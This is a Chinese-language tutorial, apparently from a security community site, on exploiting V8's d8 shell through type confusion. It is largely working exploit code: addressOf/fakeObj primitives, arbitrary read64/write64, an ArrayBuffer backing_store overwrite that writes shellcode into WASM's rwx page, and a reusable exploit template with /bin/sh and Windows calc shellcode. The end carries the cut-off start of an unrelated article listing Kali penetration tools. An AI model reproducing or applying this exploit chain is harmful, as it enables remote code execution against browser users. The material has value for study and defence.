$ cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source /home/ubuntu/gdbinit_v8
2.使用`%DebugPrint(x);`来输出变量x的相关信息
3.使用`%SystemBreak();`来抛出`int3`，以便让gdb进行调试
### 示例
$ cat test.js
a = [1];
%DebugPrint(a);
%SystemBreak();
如果直接使用d8运行，会报错：
$ ./d8 test.js
test.js:2: SyntaxError: Unexpected token '%'
%DebugPrint(a);
^
SyntaxError: Unexpected token '%'
因为正常情况下，js是没有`%`这种语法的，需要加入`--allow-natives-syntax`参数：
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x37640804965d: [JSArray]
- map: 0x376408203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3764081cc139 <JSArray[0]>
- elements: 0x3764081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
- length: 1
- properties: 0x37640800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3764081d30d1 <FixedArray[1]> {
0: 1
}
0x376408203a41: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3764080023b5 <undefined>
- prototype_validity cell: 0x376408142405 <Cell value= 1>
- instance descriptors #1: 0x3764081cc5ed <DescriptorArray[1]>
- transitions #1: 0x3764081cc609 <TransitionArray[4]>Transition array #1:
0x376408005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x376408203ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype: 0x3764081cc139 <JSArray[0]>
- constructor: 0x3764081cbed5 <JSFunction Array (sfi = 0x37640814ad71)>
- dependent code: 0x3764080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1] 35375 trace trap ./d8 --allow-natives-syntax test.js
接下来试试使用gdb来调试该程序：
$ gdb d8
pwndbg> r --allow-natives-syntax test.js
[New Thread 0x7f6643a61700 (LWP 35431)]
[New Thread 0x7f6643260700 (LWP 35432)]
[New Thread 0x7f6642a5f700 (LWP 35433)]
[New Thread 0x7f664225e700 (LWP 35434)]
[New Thread 0x7f6641a5d700 (LWP 35435)]
[New Thread 0x7f664125c700 (LWP 35436)]
[New Thread 0x7f6640a5b700 (LWP 35437)]
DebugPrint: 0x3a0c08049685: [JSArray]
- map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3a0c081cc139 <JSArray[0]>
- elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
- length: 1
- properties: 0x3a0c0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3a0c081d30d1 <FixedArray[1]> {
0: 1
}
0x3a0c08203a41: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3a0c080023b5 <undefined>
- prototype_validity cell: 0x3a0c08142405 <Cell value= 1>
- instance descriptors #1: 0x3a0c081cc5ed <DescriptorArray[1]>
- transitions #1: 0x3a0c081cc609 <TransitionArray[4]>Transition array #1:
0x3a0c08005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3a0c08203ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype: 0x3a0c081cc139 <JSArray[0]>
- constructor: 0x3a0c081cbed5 <JSFunction Array (sfi = 0x3a0c0814ad71)>
- dependent code: 0x3a0c080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
然后就能使用gdb命令来查看其内存布局了，另外在之前v8提供的gdbinit中，加入了一些辅助调试的命令，比如`job`，作用跟`%DebufPrint`差不多：
pwndbg> job 0x3a0c08049685
0x3a0c08049685: [JSArray]
- map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3a0c081cc139 <JSArray[0]>
- elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
- length: 1
- properties: 0x3a0c0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3a0c081d30d1 <FixedArray[1]> {
0: 1
}
不过使用job命令的时候，其地址要是其真实地址+1，也就是说，在上面的样例中，其真实地址为：`0x3a0c08049684`：
pwndbg> x/4gx 0x3a0c08049685-1
0x3a0c08049684: 0x0800222d08203a41 0x00000002081d30d1
0x3a0c08049694: 0x0000000000000000 0x0000000000000000
如果使用job命令，后面跟着的是其真实地址，会被解析成SMI（small integer）类型：
pwndbg> job 0x3a0c08049685-1
Smi: 0x4024b42 (67259202)
`0x4024b42 * 2 == 0x8049684` (SMI只有32bit)
对d8进行简单的调试只要知道这么多就够了。
# WASM
现如今的浏览器基本都支持WASM，v8会专门生成一段rwx内存供WASM使用，这就给了我们利用的机会。
我们来调试看看：
测试代码：
$ cat test.js
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
然后使用gdb进行调试，在第一个断点的时候，使用`vmmap`来查看一下内存段，这个时候内存中是不存在可读可写可执行的内存断的，我们让程序继续运行。
在第二个断点的时候，我们再运行一次`vmmap`来查看内存段：
pwndbg> vmmap
0x1aca69e92000 0x1aca69e93000 rwxp 1000 0 [anon_1aca69e92]
因为WASM代码的创建，内存中出现可rwx的内存段。接下来的问题就是，我们怎么获取到改地址呢？
首先我们来看看变量`f`的信息：
DebugPrint: 0x24c6081d3645: [Function] in OldSpace
- map: 0x24c6082049e1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
- elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
- name: 0x24c6080051c5 <String[1]: #0>
- builtin: GenericJSToWasmWrapper
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x24c6081c3649 <NativeContext[256]>
- code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
- Wasm instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
- Wasm function index: 0
- properties: 0x24c60800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x24c608004905: [String] in ReadOnlySpace: #length: 0x24c608142339 <AccessorInfo> (const accessor descriptor), location: descriptor
0x24c608004a35: [String] in ReadOnlySpace: #name: 0x24c6081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
0x24c608004029: [String] in ReadOnlySpace: #arguments: 0x24c60814226d <AccessorInfo> (const accessor descriptor), location: descriptor
0x24c608004245: [String] in ReadOnlySpace: #caller: 0x24c6081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
}
- feedback vector: feedback metadata is not available in SFI
0x24c6082049e1: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 28
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- callable
- back pointer: 0x24c6080023b5 <undefined>
- prototype_validity cell: 0x24c608142405 <Cell value= 1>
- instance descriptors (own) #4: 0x24c6081d0735 <DescriptorArray[4]>
- prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
- constructor: 0x24c608002235 <null>
- dependent code: 0x24c6080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
可以发现这是一个函数对象，我们来查看一下`f`的`shared_info`结构的信息：
- shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
pwndbg> job 0x24c6081d3621
0x24c6081d3621: [SharedFunctionInfo] in OldSpace
- map: 0x24c6080025f9 <Map[36]>
- name: 0x24c6080051c5 <String[1]: #0>
- kind: NormalFunction
- syntax kind: AnonymousExpression
- function_map_index: 185
- formal_parameter_count: 0
- expected_nof_properties:
- language_mode: sloppy
- data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- code (from data): 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
- script: 0x24c6081d3491 <Script>
- function token position: 88
- start position: 88
- end position: 92
- no debug info
- scope info: 0x24c608002739 <ScopeInfo>
- length: 0
- feedback_metadata: <none>
接下里再查看其`data`结构：
- data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
pwndbg> job 0x24c6081d35f5
0x24c6081d35f5: [WasmExportedFunctionData] in OldSpace
- map: 0x24c608002e7d <Map[44]>
- target: 0x1aca69e92000
- ref: 0x24c6081d3509 <Instance map = 0x24c608207439>
- wrapper_code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
- instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
- function_index: 0
- signature: 0x24c608049bd1 <Foreign>
- wrapper_budget: 1000
在查看`instance`结构：
- instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
pwndbg> job 0x24c6081d3509
0x24c6081d3509: [WasmInstanceObject] in OldSpace
- map: 0x24c608207439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x24c608048259 <Object map = 0x24c6082079b1>
- elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x24c6080499e5 <Module map = 0x24c6082072d1>
- exports_object: 0x24c608049b99 <Object map = 0x24c608207a79>
- native_context: 0x24c6081c3649 <NativeContext[256]>
- memory_object: 0x24c6081d34f1 <Memory map = 0x24c6082076e1>
- table 0: 0x24c608049b69 <Table map = 0x24c608207551>
- imported_function_refs: 0x24c60800222d <FixedArray[0]>
- indirect_function_table_refs: 0x24c60800222d <FixedArray[0]>
- managed_native_allocations: 0x24c608049b21 <Foreign>
- memory_start: 0x7f6e20000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55a2eca392f0
- globals_start: (nil)
- imported_mutable_globals: 0x55a2eca39310
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x24c60800222d <FixedArray[0]>
- All own properties (excluding elements): {}
仔细查看能发现，`instance`结构就是js代码中的`wasmInstance`变量的地址，在代码中我们加入了`%DebugPrint(wasmInstance);`，所以也会输出该结构的信息，可以去对照看看。
我们再来查看这个结构的内存布局：
pwndbg> x/16gx 0x24c6081d3509-1
0x24c6081d3508: 0x0800222d08207439 0x200000000800222d
0x24c6081d3518: 0x0001000000007f6e 0x0000ffff00000000
0x24c6081d3528: 0xeca1448000000000 0x0800222d000055a2
0x24c6081d3538: 0x000055a2eca392f0 0x000000000800222d
0x24c6081d3548: 0x0000000000000000 0x0000000000000000
0x24c6081d3558: 0x0000000000000000 0x000055a2eca39310
0x24c6081d3568: 0x000055a2eca14420 0x00001aca69e92000
仔细看，能发现，rwx段的起始地址储存在`instance+0x68`的位置，不过这个不用记，不同版本，这个偏移值可能会有差距，可以在写exp的时候通过上述调试的方式进行查找。
根据WASM的特性，我们的目的可以更细化了，现在我们的目的变为了把`shellcode`写到WASM的代码段，然后执行WASM函数，那么就能执行`shellcode`了。
# 任意读写
最近我研究的几个V8的漏洞，任意读写都是使用的一个套路，目前我是觉得这个套路很通用的，感觉V8相关的利用都是用这类套路。（不过我学的时间短，这块的眼界也相对短浅，以后可能会遇到其他情况）
首先来看看JavaScript的两种类型的变量的结构：
$ cat test.js
a = [2.1];
b = {"a": 1};
c = [b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();
首先是变量`a`的结构：
DebugPrint: 0xe07080496d1: [JSArray]
- map: 0x0e0708203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081cc139 <JSArray[0]>
- elements: 0x0e07080496c1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0e07080496c1 <FixedDoubleArray[1]> {
0: 2.1
}
pwndbg> job 0x0e07080496c1
0xe07080496c1: [FixedDoubleArray]
- map: 0x0e0708002a95 <Map>
- length: 1
0: 2.1
pwndbg> x/8gx 0xe07080496d1-1
0xe07080496d0: 0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0: 0x0800222d08207961 0x000000020800222d
0xe07080496f0: 0x0001000108005c31 0x080021f900000000
0xe0708049700: 0x0000008808007aad 0x0800220500000002
pwndbg> x/8gx 0x0e07080496c1-1
0xe07080496c0: 0x0000000208002a95 0x4000cccccccccccd
0xe07080496d0: 0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0: 0x0800222d08207961 0x000000020800222d
0xe07080496f0: 0x0001000108005c31 0x080021f900000000
变量`a`的结构如下：
| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|
因为在当前版本的v8中，对地址进行了压缩，因为高32bit地址的值是一样的，所以只需要保存低32bit的地址就行了。
`elements`结构保存了数组的值，结构为：
| 32 bit map addr | 32 bit length | value ......
变量`a`结构中的`length`，表示的是当前数组的已经使用的长度，`elements`表示该数组已经申请的长度，申请了不代表已经使用了。这两个长度在内存中储存的值为实际值的2倍，为啥这么设计，暂时还没了解。
仔细研究上面的内存布局，能发现，`elements`结构之后是紧跟着变量`a`的结构。很多洞都是这个时候让变量`a`溢出，然后这样就可以读写其结构的map和length的值。
接下来在一起看看变量`b`和`c`:
变量c：
DebugPrint: 0xe0708049719: [JSArray]
- map: 0x0e0708203b31 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081cc139 <JSArray[0]>
- elements: 0x0e070804970d <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0e070804970d <FixedArray[1]> {
0: 0x0e07080496e1 <Object map = 0xe0708207961>
}
变量b：
DebugPrint: 0xe07080496e1: [JS_OBJECT_TYPE]
- map: 0x0e0708207961 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081c4205 <Object map = 0xe07082021b9>
- elements: 0x0e070800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
pwndbg> job 0x0e070804970d
0xe070804970d: [FixedArray]
- map: 0x0e0708002205 <Map>
- length: 1
0: 0x0e07080496e1 <Object map = 0xe0708207961>
pwndbg> x/8gx 0xe0708049719-1
0xe0708049718: 0x0800222d08203b31 0x000000020804970d
0xe0708049728: 0x0000000000000000 0x0000000000000000
0xe0708049738: 0x0000000000000000 0x0000000000000000
0xe0708049748: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx 0x0e070804970d-1
0xe070804970c: 0x0000000208002205 0x08203b31080496e1
0xe070804971c: 0x0804970d0800222d 0x0000000000000002
0xe070804972c: 0x0000000000000000 0x0000000000000000
0xe070804973c: 0x0000000000000000 0x0000000000000000
变量`c`的结构和变量`a`的基本上是一样的，只是变量`a`储存的是`double`类型的变量，所以value都是64bit的，而变量`c`储存的是对象类型的变量，储存的是地址，也对地址进行了压缩，所以长度是32bit。
## 任意变量地址读
既然内存结构这么一致，那么使用`a[0]`或者`c[0]`取值的时候，js是怎么判断结构类型的呢？通过看代码，或者gdb实际测试都能发现，是根据变量结构的map值来确定的。
也就是说如果我把变量`c`的map地址改成变量`a`的，那么当我执行`c[0]`的时候，获取到的就是变量`b`的地址了。这样，就能达到任意变量地址读的效果，步骤如下：
1. 把`c[0]`的值设置为你想获取地址的变量，比如`c[0]=a;`。
2. 然后通过漏洞，把`c`的map地址修改成`a`的map地址。
3. 读取`c[0]`的值，该值就为变量`a`的低32bit地址。
在本文说的套路中，上述步骤被封装为`addressOf`函数。
该逻辑还达不到任意地址读的效果，所以还需要继续研究。
## double to object
既然我们可以把对象数组变为浮点型数组，那么是不是也可以把浮点型数组变为对象数组，步骤如下：
1. 把`a[0]`的值设置为自己构造的某个对象的地址还需要加1。
2. 然后通过漏洞，把`a`的map地址修改成`c`的map地址。
3. 获取`a[0]`的值
这个过程可以封装为`fakeObj`函数。
## 任意读
这个时候我们构造这样一个变量：
var fake_array = [
double_array_map,
itof(0x4141414141414141n)
];
该变量的结构大致如下：
| 32 bit elements map | 32 bit length | 64 bit double_array_map |
| 64 bit 0x4141414141414141n | 32 bit fake_array map | 32 bit properties |
| 32 bit elements | 32 bit length|
根据分析，理论上来说布局应该如上所示，但是会根据漏洞不通，导致堆布局不通，所以导致`elements`地址的不同，具体情况，可以写exp的时候根据通过调试来判断。
所以我可以使用`addressOf`获取`fake_array`地址：`var fake_array_addr =
addressOf(fake_array);`。
计算得到`fake_object_addr = fake_array_addr -0x10n;`，然后使用`fakeObj`函数，得到你构造的对象：`var fake_object =
fakeObj(fake_object_addr);`
这个时候不要去查看`fake_object`的内容，因为其`length`字段和`elements`字段都被设置为了无效值(0x41414141)。
这个时候我们就能通过`fake_array`数组来达到任意读的目的了，下面就是一个通用的任意读函数`read64`：
function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}
## 任意写
同理，也能构造出任意写`write64`：
function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}
我们可以这么理解上述过程，`fakeObj`对象相当于把把浮点数数组变量`a`改成了二维浮点数数组：`a =
[[1.1]]`，而`fake_array[1]`值的内存区域属于`fake_object`对象的`elements`和`length`字段的位置，所以我们可以通过修改`fake_array[1]`的值，来控制`fake_object`，以达到任意读写的效果。
## 写shellcode
不过上述的任意写却没办法把我们的`shellcode`写到rwx区域，因为`写入的地址=实际地址-0x8+0x1`，前面还需要有8字节的map地址和length，而rwx区域根据我们调试的时候看到的内存布局，需要从该内存段的起始地址开始写，所以`该地址-0x8+0x1`是一个无效地址。
所以需要另辟蹊径，来看看下面的代码：
$ cat test.js
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);
%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();
首先看看`data_buf`变量的结构：
DebugPrint: 0x2ead0804970d: [JSArrayBuffer]
- map: 0x2ead08203271 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2ead081ca3a5 <Object map = 0x2ead08203299>
- elements: 0x2ead0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x555c12bb9050
- byte_length: 16
- detachable
- properties: 0x2ead0800222d <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
再来看看`backing_store`字段的内存：
pwndbg> x/8gx 0x555c12bb9050
0x555c12bb9050: 0x4000000000000000 0x0000000000000000
0x555c12bb9060: 0x0000000000000000 0x0000000000000041
0x555c12bb9070: 0x0000555c12bb9050 0x0000000000000010
0x555c12bb9080: 0x0000000000000010 0x00007ffd653318a8
`double`型的2.0以十六进制表示就是`0x4000000000000000`，所以可以看出`data_buf`变量的值存储在一段连续的内存区域中，通过`backing_store`指针指向该内存区域。
所以我们可以利用该类型，通过修改`backing_store`字段的值为rwx内存地址，来达到写`shellcode`的目的。
看看`backing_store`字段在`data_buf`变量结构中的位置：
pwndbg> x/16gx 0x2ead0804970d-1
0x2ead0804970c: 0x0800222d08203271 0x000000100800222d
0x2ead0804971c: 0x0000000000000000 0x12bb905000000000
0x2ead0804972c: 0x12bb90b00000555c 0x000000020000555c
0x2ead0804973c: 0x0000000000000000 0x0000000000000000
0x2ead0804974c: 0x0800222d08202ca9 0x0804970d0800222d
0x2ead0804975c: 0x0000000000000000 0x0000000000000010
0x2ead0804976c: 0x0000555c12bb9050 0x0000000000000000
0x2ead0804977c: 0x0000000000000000 0x0000000000000000
发现`backing_store`的地址属于`data_buf +
0x1C`，这个偏移在不同版本的v8中也是有一些区别的，所以写exp的时候，可以根据上面的步骤来进行计算。
根据上述的思路，我们可以写出`copy_shellcode_to_rwx`函数：
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
# 利用
在linux环境下，我们测试的时候想执行一下`execve(/bin/sh,0,0)`的shellcode，就可以这样：
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
如果想执行windows的弹计算器的shellcode，代码只需要改shellcode变量的值就好了，其他的就不用修改了：
var shellcode = [
0xc0e8f0e48348fcn,
0x5152504151410000n,
0x528b4865d2314856n,
0x528b4818528b4860n,
0xb70f4850728b4820n,
0xc03148c9314d4a4an,
0x41202c027c613cacn,
0xede2c101410dc9c1n,
0x8b20528b48514152n,
0x88808bd001483c42n,
0x6774c08548000000n,
0x4418488b50d00148n,
0x56e3d0014920408bn,
0x4888348b41c9ff48n,
0xc03148c9314dd601n,
0xc101410dc9c141acn,
0x244c034cf175e038n,
0x4458d875d1394508n,
0x4166d0014924408bn,
0x491c408b44480c8bn,
0x14888048b41d001n,
0x5a595e58415841d0n,
0x83485a4159415841n,
0x4158e0ff524120ecn,
0xff57e9128b485a59n,
0x1ba485dffffn,
0x8d8d480000000000n,
0x8b31ba4100000101n,
0xa2b5f0bbd5ff876fn,
0xff9dbd95a6ba4156n,
0x7c063c28c48348d5n,
0x47bb0575e0fb800an,
0x894159006a6f7213n,
0x2e636c6163d5ffdan,
0x657865n,
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
# 其他
在上面的示例代码中，出现了几个没说明的函数，以下是这几个函数的代码：
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function d2u(v) {
f64[0] = v;
return u32;
}
因为在上述思路中，都是使用浮点型数组，其值为浮点型，但是浮点型的值我们看着不顺眼，设置值我们也是习惯使用十六进制值。所以需要有`ftoi`和`itof`来进行浮点型和64bit的整数互相转换。
但是因为在新版的v8中，有压缩高32bit地址的特性，所以还需要`u2d`和`d2u`两个，把浮点型和32bit整数进行互相转换的函数。
最后还有一个`hex`函数，就是方便我们查看值：
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
# 总结
目前在我看来，不说所有v8的漏洞，但是所有类型混淆类的漏洞都能使用同一套模板：
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
function fakeObj(addr_to_fake)
{
?
}
function addressOf(obj_to_leak)
{
?
}
function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;
var fake_array = [
array_map,
itof(0x4141414141414141n)
];
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
其中打问号的地方，需要根据具体情况来编写，然后就是有些偏移需要根据v8版本情况进行修改，但是主体结构基本雷同。
之后的文章中，打算把我最近研究复现的几个漏洞，套进这个模板中，来进行讲解。
* * * | 社区文章 |
# 渗透过程中可能要用到的Kali工具小总结
## 写在最前面
最近在搞渗透的时候，发现过程中有一些kali工具还是很适合使用的
所以写一个渗透过程中可能用到的kali渗透工具的小小总结
写的不对 多多包涵 各位大佬轻喷 :D
Kali用得好 牢饭准管饱
渗透不规范 亲人两行泪
## 先来了解一下Kali(From Wikipdeia)
Kali Linux是基于[Debian](https://baike.baidu.com/item/Debian/748667)的Linux发行版，
设计用于数字取证操作系统。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati
Aharoni和Devon Kearns通过重写BackTrack来完成，BackTrack是他们之前写的用于取证的Linux发行版 。
Kali Linux预装了许多渗透测试软件，包括nmap 、Wireshark 、John the Ripper，以及Aircrack-ng.[2]
用户可通过硬盘、live CD或live USB运行Kali Linux。Kali Linux既有32位和64位的镜像。可用于x86
指令集。同时还有基于ARM架构的镜像，可用于树莓派和三星的ARM Chromebook
另外Kali Linux 集成了以下安全软件:
[Metasploit](https://baike.baidu.com/item/Metasploit/4926164)、RFMON、[Aircrack-NG](https://baike.baidu.com/item/Aircrack-NG/7661805)、Gerix Wifi
Cracker、[Kismet](https://baike.baidu.com/item/Kismet/121512)、[Nmap](https://baike.baidu.com/item/Nmap/1400075)、[Ophcrack](https://baike.baidu.com/item/Ophcrack/8437637)、Ethercap、[Wireshark](https://baike.baidu.com/item/Wireshark/10876564)
(formerly known as Ethereal)、
[BeEF](https://baike.baidu.com/item/BeEF/1101893) (Browser Exploitation
Framework)、[Hydra](https://baike.baidu.com/item/Hydra/2878158)
OWASP Mantra Security Framework （一套基于FireFox的工具、插件和脚本）
Cisco OCS Mass Scanner （通过telnet以及默认密码扫描思科路由器）
exploit 程序比如 浏览器
BackTrack 工具软件分成12大类:
Information Gathering（信息收集）
Vulnerability Assessment（漏洞评定工具）
Exploitation Tools(开发工具)
Privilege Escalation（用户提权）
Maintaining Access（维护登录）
